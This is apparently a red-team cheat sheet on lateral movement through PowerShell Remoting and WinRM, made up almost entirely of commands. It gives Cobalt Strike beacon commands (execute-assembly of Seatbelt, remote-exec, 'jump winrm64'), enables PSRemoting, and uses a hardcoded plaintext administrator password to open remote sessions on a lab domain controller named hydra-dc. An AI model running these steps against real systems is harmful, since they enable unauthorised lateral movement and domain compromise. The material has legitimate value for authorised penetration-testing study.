PowerShell Remoting

execute-assembly C:\Tools\Seatbelt\Seatbelt\bin\Debug\Seatbelt.exe powershell -computername=srv-1
beacon> remote-exec winrm srv-1 (Get-WmiObject Win32_OperatingSystem).OSArchitecture

beacon> jump winrm64 srv-1 smb
Enable-PSRemoting -SkipNetworkProfileCheck -Force

Get-WSManInstance -ResourceURI winrm/config/listener -SelectorSet @{Address="*";Transport="http"}
$Password = ConvertTo-SecureString "P@ssw0rd" -AsPlainText -Force;
$Credential = New-Object System.Management.Automation.PSCredential("marvel\administrator", $Password);
Invoke-Command -ComputerName hydra-dc -ScriptBlock { hostname; whoami } -Credential $Credential
$Password = ConvertTo-SecureString "P@ssw0rd" -AsPlainText -Force;
$Credential = New-Object System.Management.Automation.PSCredential("marvel\administrator", $Password);
Enter-PSSession -ComputerName hydra-dc -Credential $Credential

Last updated